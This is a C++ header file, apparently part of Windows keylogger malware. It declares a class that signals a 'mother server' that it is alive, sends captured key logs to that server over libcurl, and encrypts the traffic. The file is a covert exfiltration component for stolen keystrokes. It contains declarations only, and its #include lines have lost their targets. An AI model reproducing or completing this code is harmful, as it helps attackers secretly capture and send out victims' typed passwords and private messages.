#ifndef CONNECTIONS_PIVOTER_H #define CONNECTIONS_PIVOTER_H #define CURL_STATICLIB #include #include #include #include #include #include #pragma comment (lib, "Normaliz.lib") #pragma comment (lib, "Ws2_32.lib") #pragma comment (lib, "Wldap32.lib") #pragma comment (lib, "Crypt32.lib") #pragma comment (lib, "advapi32.lib") class ConnectionsPivoter { public: std::string url; CURL* curl; ConnectionsPivoter(std::string url); ConnectionsPivoter(); /// Update the url value /// New url value void set_url(std::string new_url) { this->url = new_url; }; /// Send an alive signal to the mother server /// TRUE if successful BOOL send_alive_signal(); /// Send the captured key logs to the mother server. /// vector of key codes /// TRUE if successful BOOL send_codes(std::vector codes); /// /// Encrypt the given data /// /// Data to encrypt /// Encrypted data PBYTE encrypt_traffic(std::string data, size_t *output_length); private: }; #endif